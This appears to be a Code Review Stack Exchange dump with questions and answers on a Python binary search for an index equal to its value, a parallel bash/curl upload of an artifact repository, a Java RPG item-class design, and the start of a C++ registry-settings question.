arr[i] == i. Return -1 if there is no such index. Analyze the time and
space complexities of your solution and explain its correctness.</p>
<p>Examples:</p>
<p>input: arr = [-8,0,2,5]<br>
output: 2 # since arr[2] == 2</p>
<p>input: arr = [-1,0,3,6]<br>
output: -1 # since no index in arr satisfies
arr[i] == i.</p>
</blockquote>
<pre><code>def index_equals_value_search(arr):
left = 0
right = len(arr) -1
ind = 0
output = -1
while left <= right:
ind = (left + right) // 2
if arr[ind] - ind < 0:
left = ind + 1
elif arr[ind] == ind:
output = ind
break
else:
right = ind -1
return output
</code></pre>
<h1>Passing all of the basic tests</h1>
<pre><code>arr = [-8,0,2,5]
test1 = index_equals_value_search(arr)
arr2 = [-1,0,3,6]
test2 = index_equals_value_search(arr2)
print(test2) # return -1
arr3 = [0,1,2,3]
test3 = index_equals_value_search(arr3)
print(test3) # return 0
arr4 = [-6,-5,-4,-1,1,3,5,7]
test4 = index_equals_value_search(arr4)
print(test4) #return 7
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T21:58:42.707",
"Id": "411700",
"Score": "0",
"body": "Are you sure the `break` is not a copy-paste error?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T03:07:41.763",
"Id": "411720",
"Score": "0",
"body": "_\"Analyze the time and space complexities and explain its correctness\"_ — I'd disqualify you as a candidate for skipping those parts of the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:48:48.040",
"Id": "411816",
"Score": "0",
"body": "I used binary search, and have time complexities of O(log(n) and Space O(1)"
}
] | [
{
"body": "<p><strong>Better tests</strong></p>\n\n<p>Before anything, let's improve the test suite so that we can feel more confident updating the code.</p>\n\n<p>At the moment, the tests:</p>\n\n<ul>\n<li><p>rely on meaningless values printed on standard output which have to be compared to values in the comments - we'll see quickly why this is something to avoid</p></li>\n<li><p>have somes values \"untested\": value for <code>test1</code> is not printed</p></li>\n<li><p>have variables with names that does not convey much meaning (<code>testXXX</code>)</p></li>\n</ul>\n\n<p>Let's see how we can improve this. We could:</p>\n\n<ul>\n<li><p>get rid of the <code>testXXX</code> variables</p></li>\n<li><p>rename all <code>arrYYY</code> variables as <code>arr</code></p></li>\n<li><p>use <code>assert</code> to checking everything is working properly. If we want to do things properly, we could use a unit test framework such as <code>unittest</code>.</p></li>\n</ul>\n\n<p>At this stage, we have:</p>\n\n<pre><code>def test_index_equals_value_search():\n arr = [-8,0,2,5]\n assert index_equals_value_search(arr) == 2\n arr = [-1,0,3,6]\n assert index_equals_value_search(arr) == -1\n arr = [0,1,2,3]\n assert index_equals_value_search(arr) == 0\n arr = [-6,-5,-4,-1,1,3,5,7]\n assert index_equals_value_search(arr) == 7\n</code></pre>\n\n<p>which gives:</p>\n\n<pre><code>Traceback (most recent call last):\n File \"review212877.py\", line 32, in <module>\n test_index_equals_value_search()\n File \"review212877.py\", line 28, in test_index_equals_value_search\n assert index_equals_value_search(arr) == 0\nAssertionError\n</code></pre>\n\n<p>My job pretty much stops at this point but I'll give additional comments anyway.</p>\n\n<ol>\n<li><p>You see how important my first comment was.</p></li>\n<li><p>This error also shows something which is missing in your code: documentation. Indeed, the value returned is correct if we stricly refer to the function name. However, there should be a piece of docstring mentionning we want \"the <strong>lowest</strong> index\".</p></li>\n<li><p>Algorithms relying on indices and in particular binary search are very easy to get wrong and are not always easy to test. However, a function doing the same thing using linear search is very easy to write. If I were you, I'd write such a function and use it to write a <a href=\"https://en.wikipedia.org/wiki/Test_oracle#Derived\" rel=\"noreferrer\">pseudo-oracle</a>:</p></li>\n</ol>\n\n<pre><code>def index_equals_value_search_linear(arr):\n for i, x in enumerate(arr):\n if i == x:\n return i\n return -1\n</code></pre>\n\n<p>More comments</p>\n\n<p><strong>Style</strong></p>\n\n<p>Python has a style guide called <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP 8</a> which is worth reading and trying to apply.</p>\n\n<p>Among other things, it says:</p>\n\n<blockquote>\n <p>Use 4 spaces per indentation level.</p>\n</blockquote>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:41:15.987",
"Id": "411881",
"Score": "0",
"body": "One-line: `next((i for (i, x) in enumerate(arr) if i == x), -1)`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T22:41:02.840",
"Id": "212882",
"ParentId": "212877",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T21:39:19.620",
"Id": "212877",
"Score": "0",
"Tags": [
"python",
"interview-questions",
"binary-search"
],
"Title": "Find array index with element equality in Python"
} | 212877 |
<p>This code uploads an entire directory and allows for its reparenting on a remote server (an artifact repository).</p>
<p>Three concerns:</p>
<ol>
<li>Copying the files locally takes a lot of space. Ideally, I could use <code>inotify</code> and as soon as my <code>wget -m</code> had a file I could begin immediately uploading and then deleting. These repositories can be hundreds of gigs</li>
<li>For performance reasons I fork/join everything. This definitely improves overall job performance but I get an error <code>upload.sh: fork: retry: Resource temporarily unavailable</code> which is the OS telling me I can't have more sub processes. My concern is that some of these processes will terminate without doing their job because of this. </li>
<li>Lastly, and I can't be sure of this, but several of the larger files that upload seem to never complete when I use a fork. But when I do a 1-off they finish in an appropriate time</li>
</ol>
<p>First I run:</p>
<p><code>wget --user cbongiorno --password abc123 --mirror --no-parent https://artifactory.stback.com/artifactory/BIF-Releases &> my.logs</code></p>
<p>Then I do the upload. It would be nice to upload and delete files as they come in</p>
<pre><code>#!/usr/bin/env bash
[[ -z "$1" ]] && echo "no resource directory supplied" && exit -1
[[ -z "$2" ]] && echo "no destination repository supplied" && exit -1
upload() {
local local_repo="$1"
local remote_repo="$2"
local ct
local user=${3:-${USER:-$(read -p "Username: " user && [ -n "${user}" ] && echo ${user})}}
local pwd=$(read -s -p "Password: " pwd && [ -n "${pwd}" ] && echo ${pwd})
echo ""
declare -a pids
for art in $(find "${local_repo}" -not -path '*/\.*' -type f -not -name 'index.html' | sed -n 's;./\(.*\);\1;p'); do
# file extension
case "$(echo ${art} | rev | cut -d'.' -f1 | rev)" in
jar)
ct="application/java-archive"
;;
md5)
ct="application/x-checksum"
;;
pom)
ct="application/x-maven-pom+xml"
;;
sha1)
ct="application/x-checksum"
;;
txt)
ct="text/plain"
;;
xml)
ct="application/xml"
;;
esac
(
echo "${art} -> ${remote_repo}/${art}"
curl -v -u "${user}:${pwd}" -X PUT -d "@$art" -H "Content-Type: $ct" "$remote_repo/$art" 2&>1 &&
curl -I -u "${user}:${pwd}" "$remote_repo/$art" 2&>1
) &
pids[${i}]=$!
done
for pid in ${pids[*]}; do
wait ${pid}
done
}
upload "$@"
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-09T00:30:45.470",
"Id": "412312",
"Score": "0",
"body": "I have a totally updated script. Should I place it here or close it or add my own answer?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T09:50:41.673",
"Id": "412453",
"Score": "0",
"body": "you aren't supposed to edit your question with updated code: the existing answers will not make sense to future readers. Adding your own answer is better. You can even mark your own answer as accepted."
}
] | [
{
"body": "<p>I think you'll find that <a href=\"https://wingolog.org/archives/2018/05/21/correct-or-inotify-pick-one\" rel=\"nofollow noreferrer\">inotify has problems of its own</a> and that you're already on the right path. </p>\n\n<p>The approach I'd use: get this working the way you want, then run it in a loop while your wget runs, removing successful files as it goes. </p>\n\n<p>If you're concerned about polling overhead (I wouldn't be: the size of the directory should remain manageable so long as you're uploading/deleting along the way), have the wget process emit filenames into a log file or a named pipe, while the curl process consumes them.</p>\n\n<p>You can attack the resource problem in a couple of ways. One, use <code>exec</code> to launch curl so that there isn't an intermediate bash process sitting around waiting for curl to exit. Two, keep count of the number of children, and reap them when the number gets too high. Three, check <code>ulimit -u</code> and consider increasing that number.</p>\n\n<p>In the code below I've made a few lesser edits:</p>\n\n<ul>\n<li>content-types in an associative array with sensible default</li>\n<li>use <code>[[ ]]</code> instead of <code>[ ]</code> (the former is a bash builtin)</li>\n<li>clean up the <code>find</code> command line a little. I've guessed that the <code>sed</code> invocation is meant to remove <code>$local_repo</code>?</li>\n<li>omit forked echo and curl-HEAD; rely on exit status instead</li>\n<li>use curl's <code>-w</code> to get a useful line of output on success</li>\n<li>store pids in an associative array with filenames as values, to allow meaningful response to outcomes</li>\n<li>\"Content-type\" has a lowercase t</li>\n<li>run <code>upload</code> in infinite loop, keep count of files found, exit when no more files are found</li>\n</ul>\n\n<p>There may be some bugs, since I don't have your environment to test. Proceed accordingly.</p>\n\n<pre><code>#!/usr/bin/env bash\nreap() {\n for pid in ${!pid2fn[@]}\n do\n local fn=${pid2fn[$pid]} \n if wait ${pid} \n then \n echo successful upload of $fn\n # rm $fn\n else\n echo $fn upload failed with status $? \n fi\n unset pid2fn[$pid]\n done\n}\nupload() {\n local local_repo=\"${1:?no resource directory supplied}\"\n local remote_repo=\"${2:?no destination repository supplied}\"\n local default_ct=application/octet-stream\n local user=${3:-${USER:-$(read -p \"Username: \" user && [[ -n $user ]] && echo $user) }}\n local pwd=$(read -s -p \"Password: \" pwd && [[ -n $pwd ]] && echo $pwd )\n local max_children=100\n local found=0\n declare -A pid2fn\n declare -A types=(\n [jar]=application/java-archive\n [md5]=application/x-checksum\n [pom]=application/x-maven-pom+xml\n [sha1]=application/x-checksum\n [txt]=text/plain\n [xml]=application/xml\n )\n for art in $( find \"$local_repo\" -type f -name \"[^.]*\" -not -name index.html | sed s,^$local_repo/*,, )\n do\n let found=found+1\n local ct=${types[${art##*.}]:-$default_ct}\n local dest=\"$remote_repo/$art\"\n local status=\"$art -> $dest | response %{http_code} sent %{size_upload} bytes\\n\"\n exec curl -u \"$user:$pwd\" -X PUT -d \"@$art\" -H \"Content-type: $ct\" -w \"$status\" \"$dest\" 2>&1 &\n pid2fn[$!]=$art\n [[ ${#pid2fn[@]} -ge $max_children ]] && reap\n done\n reap\n [[ $found -gt 0 ]]\n}\nwhile upload \"$@\"; do :; done\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T16:34:38.080",
"Id": "411809",
"Score": "0",
"body": "Thanks for the snippet - there are definitely some good ideas here. The `sed` in the original for loop was meant to remove `./foo` and make it just `foo` if you gave the local repo as `.`. I also need to exclude any dot files and directories. I was going to go with an associative array but found the syntax cumbersome - I like your approach. Let me chew on it some more. I am guessing thr `${1:?...}` syntax exits if empty?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T16:35:44.903",
"Id": "411810",
"Score": "0",
"body": "Oh yeah, I had no idea you could do that with curl"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:56:17.637",
"Id": "411818",
"Score": "0",
"body": "to remove `./` you have to escape the dot in sed, like `\\./`, because plain dot matches any character. Should anchor to the beginning of the string too, so that dot at end of a directory name doesn't match: try `sed 's,^\\./,,'`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T20:13:44.483",
"Id": "411827",
"Score": "0",
"body": "re: comment about `HEAD` - the head command is to verify the artifact exists. You're going on the assumption that if the server responded with 201 that the resource is there. With this server, it's always a question. Maybe it's overkill, but with so many artifacts to verify I can't do it manually."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T21:57:27.770",
"Id": "411832",
"Score": "0",
"body": "this line doesn't produce the file extension: `ct=${types[${art#*.}]:-${default_ct}}` it always resolves to the default."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T03:39:34.893",
"Id": "411841",
"Score": "0",
"body": "RE:ct; it's supposed to produce a content-type, not an extension. If `art=z.txt`, ct will equal `text/plain`; To get just the extension, `${art##*.}`. It should be double-`#` though and if your files contained multiple dots it wouldn't have worked. I edited my post to fix. If you need to check HEADs, I'd try it sequentially inside `reap()`. It's going to be fast anyway, and waiting til curl exits avoids those extra forked bash processes. Maybe keep a `pid2url` array alongside `pid2fn`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T04:56:29.503",
"Id": "411843",
"Score": "0",
"body": "The update works for content type. I like the curl output but it has the problem that it outputs nothing until the job is done."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T06:17:13.467",
"Id": "411844",
"Score": "0",
"body": "`curl -w` outputs only on success. You can echo something before launching curl; the important thing (from resource management point-of-view) is to do it in the main process, or in its own forked process that's separate from the upload."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T08:50:49.713",
"Id": "412039",
"Score": "0",
"body": "Actually, it seems the `-w` works on error too. I am seeing `000` an `500`\n000 - com/foo/bif/shared/shared-scheduler/1.6.1/shared-scheduler-1.6.1.pom.sha1\ncurl: (16) Error in the HTTP2 framing layer\n500 - com/foo/bif/test/mock-service/2.1.0-RC3/mock-service-2.1.0-RC3.jar"
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T05:42:09.083",
"Id": "212893",
"ParentId": "212887",
"Score": "5"
}
},
{
"body": "<p>Here is the final result. It doesn't handle failure/retry as I continued to have issues with using a FIFO, but it does do a pretty good job. I ended up using <code>xargs -P</code> to get the parallelism since it behaves as a thread pool which is really what I needed.</p>\n\n<pre><code>#!/usr/bin/env bash\n\ndeclare -A types=(\n [jar]=application/java-archive\n [md5]=application/x-checksum\n [pom]=application/x-maven-pom+xml\n [sha1]=application/x-checksum\n [txt]=text/plain\n [xml]=application/xml\n [nupkg]=application/x-nupkg\n)\n\nerrMsg(){\n printf '[1;31m' >&2\n echo \"$@\" >&2\n printf '[0m' >&2\n}\nexport -f errMsg\n\nokMsg(){\n printf '[1;32m'\n echo \"$@\"\n printf '[0m'\n}\nexport -f okMsg\n\nwarnMsg(){\n printf '[1;33m' >&2\n echo \"$@\" >&2\n printf '[0m' >&2\n}\nexport -f warnMsg\n\nnormalizeUrl() {\n echo ${1}| sed 's;\\(.*\\);\\1/;g' | sed 's;\\(.*\\)//;\\1/;g'\n}\nupone() {\n local user=\"${1:?User not supplied}\"\n local pwd=\"${2:?Password not supplied}\"\n local remote=\"${3:?No remote repo}\"\n local art=\"${4:?Artifact not supplied}\"\n\n local ct=${types[${art##*.}]:-application/octet-stream}\n local dest=\"$remote$art\"\n local status_code=\"500\" # fake an error\n local returnCode=0\n\n if ! exists ${user} ${pwd} ${dest}; then\n\n for attempt in 1 2 3; do\n status_code=$(\n curl -u \"${user}:${pwd}\" -X PUT -d \"@${art}\" \\\n -H \"Content-type: $ct\" -w \"%{http_code}\" \"$dest\" 2> /dev/null\n )\n case \"${status_code}\" in\n 5*)\n errMsg \"${status_code} $art -> $dest\"\n returnCode=1\n # exponential back-off just in case we are overloading the server\n sleep $(( attempt * 2 ))\n ;;\n 4*)\n warnMsg \"${status_code} $art -> $dest\"\n break\n ;;\n 2*)\n okMsg \"${status_code} $art -> $dest\"\n break\n ;;\n esac\n done\n fi\n return ${returnCode}\n}\nexport -f upone\n\nexists(){\n local user=\"${1:?User not supplied}\"\n local pwd=\"${2:?Password not supplied}\"\n local resource=\"${3:?Destination not supplied}\"\n local status_code\n status_code=$(curl -I -u \"${user}:${pwd}\" \"${resource}\" 2> /dev/null | head -1 | awk '{print $2}')\n [[ $? == 0 ]] && grep -qE \"2[0-9]{2}\" <<< ${status_code}\n}\nexport -f exists\n\nupload() {\n local user=\"${1:?User not supplied}\"\n local pwd=\"${2:?Password not supplied}\"\n local remote=\"${3:?No remote repo}\"\n local local=\"${4:?No local repo supplied}\"\n\n cat <<< $(localFiles ${local}) | xargs -n 1 -P 50 -I {} bash -c 'upone \"$@\"' _ ${user} ${pwd} ${remote} {}\n\n}\nverify() {\n local user=\"${1:?User not supplied}\"\n local pwd=\"${2:?Password not supplied}\"\n local remote=\"${3:?No remote repo}\"\n local local=\"${4:?No local repo supplied}\"\n cat <<< $(localFiles ${local}) | xargs -n 1 -P 50 -I {} bash -c 'verifyone \"$@\"' _ ${user} ${pwd} ${remote}{}\n\n}\n\n\nlocalFiles(){\n find \"${1}\" -not -path '*/\\.*' -type f -not -name 'index.html' | sed -n 's;./\\(.*\\);\\1;p'\n}\n\nvalidateCreds(){\n local user=\"${1:?User not supplied}\"\n local pwd=\"${2:?Password not supplied}\"\n local remote=\"${3:?No remote repo}\"\n\n local status_code\n status_code=$(curl -I -u \"${user}:${pwd}\" -w \"%{http_code}\" \"${remote}\" | head -1 | awk '{print $2}')\n if [[ $? != 0 || ${status_code} -eq 401 || ${status_code} -eq 403 ]]; then\n errMsg \"${status_code} - curl test fail\" && return -1\n fi\n\n}\n\nremote=\"${1:?$(errMsg No destination repository supplied)}\"\ngrep -qE \"http[s]?://.*\" <<< ${remote} || (errMsg \"Not a valid URL '${remote}'\" && exit -1)\n\n\nremote=$(normalizeUrl ${remote})\n\nuser=${2:-${USER:-$(read -p \"Username: \" user && [ -n \"${user}\" ] && echo ${user})}}\nlocal=\"${3:-.}\"\npwd=$(read -s -p \"Password: \" pwd && [ -n \"${pwd}\" ] && echo ${pwd})\necho \"\"\n\nvalidateCreds ${user} ${pwd} ${remote}\n\nupload ${user} ${pwd} ${remote} ${local}\n\nverify ${user} ${pwd} ${remote} ${local}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-18T22:57:36.523",
"Id": "213766",
"ParentId": "212887",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T01:51:05.263",
"Id": "212887",
"Score": "4",
"Tags": [
"bash",
"concurrency",
"curl"
],
"Title": "Upload a directory, in parallel, to an artifact repository"
} | 212887 |
<p>Thanks for the enormous response on <a href="https://codereview.stackexchange.com/questions/212802/player-class-for-rpg-dnd-type-game">my last question</a>! I've returned with another question, hoping for more insight.</p>
<p>I'm developing an <code>Item</code> class and system, and I know it can be improved. I have a main <code>Item</code> class, with four subclasses (<code>Weapon</code>, <code>Armor</code>, <code>Medical</code>, <code>Misc</code>) .</p>
<ol>
<li><p>Code Redundancy</p>
<p>The subclasses all have near identical class construction. The only difference between the <code>Weapon</code> and <code>Armor</code> class is the name of the classes. I would like to maybe have one class that manages all the different type of items, and can identify the differences between them so they can be used accordingly in my program.</p></li>
<li><p>Code Efficiency</p>
<p>Determining what items are determined are based on blocks of if statements. I would like to cut those down, so the code is more user friendly and more compact, and obviously more efficient.</p></li>
<li><p>Item Determination</p>
<p>Right now, when a new <code>Item</code> object is created, the item is randomly chosen WITHIN the <code>Item</code> class. I would hope for this to be managed by an outside class, which can reduce the complexity of the class.</p></li>
</ol>
<p><strong>Item.java</strong></p>
<pre><code>import java.util.Random;
/*
* Item Class
*/
public class Item {
/*
* Private Instance Variables
*/
private Random r;
private final String name;
protected int value; /* allows subclass to use */
private int level; /* Used to determine what level of item to set */
/*
* Arrays used for item level determination (ranges, not each specific level)
*/
Object[] normal_drops = {new Medical("Medicinal Herb", this.level), new Misc("Antidontial Herb"), new Misc("Moonwort Bulb"), new Misc("Holy Water")};
int[] normal_drop_values = {3, 2, 5, 4};
Object[] rare_drops = {new Misc("Slime Drop"), new Armor("Boxer Shorts", this.level), new Armor("Leather Hat", this.level), new Weapon("Oak Staff", this.level)};
int[] rare_drop_values = {10, 15, 12, 8};
/*
* Item Constructor (no defualt)
*/
public Item(int level) {
this.level = level;
this.r = new Random();
this.determineItem();
}
/*
* determineItem method for deciding if it will drop an item at all, and
* if so, decides if it's rare or normal
*/
private void determineItem() {
int x = this.r.nextInt(100 - 1) + 1;
if(x > 95) { /* Rare Drop Chance (5%) */
this.rareDrop();
} else if(x > 90) { /* Normal Drop Chance (10%) */
this.normalDrop();
}
}
/*
* normalDrop method for normal drop items
*/
private void normalDrop() {
int index = this.r.nextInt(4 - 0) + 0; /* Isn't inclusive, so 4 is needed */
if(this.level >= 1 && this.level <= 10) { /* Level Range 1-10 */
this.name = normal_drops[index];
this.value = normal_drop_values[index];
}
/*
* Now, reset the array each time for new items
*/
if(this.level >= 11 && this.level <= 20) { /* Level Range 11-20 */
normal_drops = {new Misc("Cougulant"), new Armor("Pot Lid", this.level), new Misc("Evencloth"), new Armor("Leather Kilt", this.level)};
updateValues(false, 2);
this.name = normal_drops[index];
this.value = normal_drop_values[index];
}
if(this.level >= 21 && this.level <= 30) { /* Level Range 21-30 */
normal_drops = {new Armor("Scale Shield", this.level), new Medical("Strong Medicine", this.level), new Misc("Wing of Bat"), new Misc("Cowpat")};
updateValues(false, 3);
this.name = normal_drops[index];
this.value = normal_drop_values[index];
}
if(this.level >= 31 && this.level <= 40) { /* Level Range 31-40 */
normal_drops = {new Medical("Superior Medicine"), new Misc("Seashell"), new Misc("Lambswool"), new Misc("Kitty Litter")};
updateValues(false, 4);
this.name = normal_drops[index];
this.value = normal_drop_values[index];
}
if(this.level >= 41 && this.level <= 50) { /* Level Range 41-50 */
normal_drops = {new Misc("Magic Beast Horn"), new Misc("Rockbomb Shell"), new Misc("Lambswool"), new Misc("Manky Mud")};
updateValues(false, 5);
this.name = normal_drops[index];
this.value = normal_drop_values[index];
}
}
/*
* rareDrop method for rare drop items
*/
private void rareDrop() {
int index = this.r.nextInt(4 - 0) + 0; /* Not inclusive, so 4 is needed */
if(this.level >= 1 && this.level <= 10) { /* Level Range 1-10 */
this.name = rare_drops[index];
this.value = rare_drop_values[index];
}
/*
* Reset array each time for new items
*/
if(this.level >= 11 && this.level <= 20) { /* Level Range 11-20 */
rare_drops = {new Misc("Iron Nails"), new Armor("Garish Garb", this.level), new Misc("Angel Bell"), new Misc("Fisticup")};
updateValues(true, 2);
this.name = rare_drops[index];
this.value = rare_drop_values[index];
}
if(this.level >= 21 && this.level <= 30) { /* Level Range 21-30 */
rare_drops = {new Armor("Gold Ring", this.level), new Armor("Agility Ring", this.level), new Armor("Strength Ring", this.level), new Armor("Leather Cape", this.level)};
updateValues(true, 3);
this.name = rare_drops[index];
this.value = rare_drop_values[index];
}
if(this.level >= 31 && this.level <= 40) { /* Level Range 31-40 */
rare_drops = {new Misc("Flintstone"), new Weapon("Iron Claws", this.level), new Misc("Softwort"), new Weapon("Long Spear", this.level)};
updateValues(true, 4);
this.name = rare_drops[index];
this.value = rare_drop_values[index];
}
if(this.level >= 41 && this.level <= 50) { /* Level Range 41-50 */
rare_drops = {new Armor("Fur Poncho", this.level), new Armor("Ice Shield", this.level), new Weapon("Assassins Dagger", this.level), new Weapon("Crow's Claws", this.level)};
updateValues(true, 5);
this.name = rare_drops[index];
this.value = rare_drop_values[index];
}
}
/*
* Method updates the value of each item in the array
*/
private void updateValues(boolean isRare, int amount) {
/*
* Resets values so it doesn't keep stacking with each level
*/
normal_drop_values = {3, 2, 5, 4};
rare_drop_values = {10, 15, 12, 8};
if(!isRare) {
for(int i = 0; i <= this.normal_drop_values.length - 1; i++) {
this.normal_drop_values[i] *= amount;
}
} else {
for(int i = 0; i <= this.rare_drop_values.length - 1; i++) {
this.rare_drop_values[i] *= amount;
}
}
}
/*
* Getters for item value and name
*/
public int getValue() {
return this.value;
}
public String getName() {
return this.name;
}
}
</code></pre>
<p><strong>Weapon.java</strong></p>
<pre><code>public class Weapon extends Item {
/*
* Private Instance Variables
*/
private final String name;
private int level;
private final int damage;
/*
* Weapon constructor (no default)
*/
public Weapon(String name, int level) {
this.name = name;
this.level = level;
this.setAttributes();
}
/*
* setAttributes, determines weapon damage
*/
private void setAttributes() {
this.damage = this.level + 2;
}
}
</code></pre>
<p><strong>Armor.java</strong></p>
<pre><code>public class Armor extends Item {
/*
* Private Instance Variables
*/
private final String name;
private int level;
private final int defence;
/*
* Armor constructor (no default)
*/
public Armor(String name, int level) {
this.name = name;
this.level = level;
this.setAttributes();
}
/*
* setAttributes, determines defence level
*/
private void setAttributes() {
this.defence = this.level + 2;
}
}
</code></pre>
<p><strong>Medical.java</strong></p>
<pre><code>public class Medical extends Item {
/*
* Private Instance Variables
*/
private final String name;
private int level;
private final int heal_value;
/*
* Medical constructor (no default)
*/
public Medical(String name, int level) {
this.name = name;
this.level = level;
this.setAttributes();
}
/*
* setAttributes, determines heal value
*/
private void setAttributes() {
this.heal_value = this.level * 2;
}
/*
* Getters for heal value
*/
public int getHealValue() {
return this.heal_value;
}
}
</code></pre>
<p><strong>Misc.java</strong></p>
<pre><code>public class Misc extends Item {
/*
* Private Instance Variables
*/
private final String name;
/*
* Misc constructor (no default)
*/
public Misc(String name) {
this.name = name;
}
}
</code></pre>
| [] | [
{
"body": "<p>I have comments on the technical and functional (design) levels: </p>\n\n<h2>Technical notes</h2>\n\n<ol>\n<li><p>I can see you know about variable inheritance when you defined <code>value</code> to be protected. So why are <code>name</code> and <code>level</code> private if every subclass has them defined as well? do you really need to have a <em>different</em> name for a Weapon and for its super Item? </p></li>\n<li><p>You need to take all the \"magic numbers\" out of the source code and put them in properties files. by \"magic numbers\" I don't mean just the numerical literals (level ranges, values etc) I also mean all the item names. There are <em>at least</em> three good reasons for that:<br>\nthe first and obvious is to avoid typos, so if you ever need to compare some item's name, it absolutely has to be defined in one place and one place only. so declaring a constant like <code>public static final String SLIME_DROP = \"Slime Drop\";</code> would suffice, but then there is also<br>\nreason #2) you will want to tweak and balance the items. for example, you may find that a certain weapon is too weak etc. it is way more easier to modify values in properties files than inside the source code.<br>\nreason #3) let us not forget modding - letting others modify and extend your game. by externalizing data as much as possible, you make their work that much easier as well.</p></li>\n</ol>\n\n<h2>Design notes</h2>\n\n<p>While it is feasible to have Weapon, Armor and the rest as sub classes of <code>Item</code>, I would go for the design of composition, meaning that Weapon, Armor and the rest are <em>types</em> of Items - Weapons are all items that do damage - i.e. reduce the player's stats (health. mana etc), Armor do the opposite, increase player's stats, and so on. I would create a class <code>ItemType</code> that can be either <code>Weapon</code>, <code>Armor</code>, <code>Medical</code> or <code>Misc</code>. the <code>Item</code> class will have a reference to an <code>ItemType</code> instance so that <code>Item</code> with <code>\"Medicinal Herb\"</code> name will have a <code>Medical</code> type. the advantage of this approach is that you can have items that have multiple types: a magic spell that takes health from the target and gives it to the caster. an armor that gives electrical shock when is hit with melee weapon. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:14:58.287",
"Id": "212901",
"ParentId": "212888",
"Score": "3"
}
},
{
"body": "<p>Well, you can implement a game item in a hundred ways depending on your use-case.</p>\n\n<p>About your questions:\n<strong>Avoid needles inheritance</strong>. Actually never implement inheritance when you just want to share some code. Purpose of Inheritance is not a code reuse. Inheritance is meant to model Is-A relationship. And you don't need to model Is-A relationship very often. Code sharing is a side effect of this. Composition is a way better technique of code reuse. Take a look at this quick draft of what Composition based Item might look like.</p>\n\n<pre><code>public class Item {\n\n enum Type {\n Armor,\n Consumable,\n Weapon,\n Misc\n }\n\n private final String name;\n private final Type type;\n private final Money value;\n private final Attributes attributes;\n\n public Item(String name, Type type, Money value) {\n this.name = name;\n this.type = type;\n this.value = value;\n this.attributes = Attributes.None;\n }\n\n public Item(String name, Type type, Money value, Attributes attributes) {\n this.name = name;\n this.type = type;\n this.value = value;\n this.attributes = attributes;\n }\n\n // ...\n\n public static void main(String[] args) {\n new Item(\"Iron Nails\", Item.Type.Misc, new CopperCoins(5));\n new Item(\"Fur Poncho\", Item.Type.Armor, new SilverCoins(5));\n new Item(\"Health Potion\", Item.Type.Consumable, new SilverCoins(1),\n new Attributes(\n new Attribute(Attribute.Type.Health, new Stat(Stat.Type.Plus, 150)),\n new Attribute(Attribute.Type.Hunger, new Stat(Stat.Type.Minus, 2))\n )\n );\n new Item(\"Assassins Dagger\", Item.Type.Weapon, new GoldCoins(5),\n new Attributes(\n new Attribute(Attribute.Type.Damage, new Stat(Stat.Type.Plus, 5)),\n new Attribute(Attribute.Type.BleedingDamage, new Stat(Stat.Type.Plus, 10)),\n new Attribute(Attribute.Type.Agility, new Stat(Stat.Type.Plus, 2)),\n new Attribute(Attribute.Type.Weight, new Kilograms(1))\n )\n );\n }\n}\n</code></pre>\n\n<p>You are right about the second point. Item should not be responsible for its construction nor its drop-rate. Drop-rate can be easily added to enemies. Such as draft below. Actual building of items is again full of options. You could for example have them defined in a files or in a database and have some object construct them for you. As I said. All depend on what you want to use it for.</p>\n\n<pre><code>new Enemy(\n \"Enraged Barbarian\",\n Class.Warrior,\n new Drop(\n new ChanceInPercent(5),\n new Item(\"Barbarian's Mighty Axe\", Item.Type.Weapon, new GoldCoins(50),\n new Attributes(\n new Attribute(Attribute.Type.Damage, new Stat(Stat.Type.Plus, 50)),\n new Attribute(Attribute.Type.Ability, new Decapitate(new HealthThreshold(20)))\n )\n )\n )\n);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:29:07.860",
"Id": "212903",
"ParentId": "212888",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "212903",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T01:52:09.677",
"Id": "212888",
"Score": "2",
"Tags": [
"java",
"object-oriented",
"role-playing-game"
],
"Title": "Item class/system for RPG/DND type game"
} | 212888 |
<p>Regarding an application written in C++ using the Windows API. I'd like to store a user setting like the window position on program exit, to the Windows registry and retrieve settings like these on the next start of the program.</p>
<p>I currently have 3 settings to be stored/retrieved to/from the registry.</p>
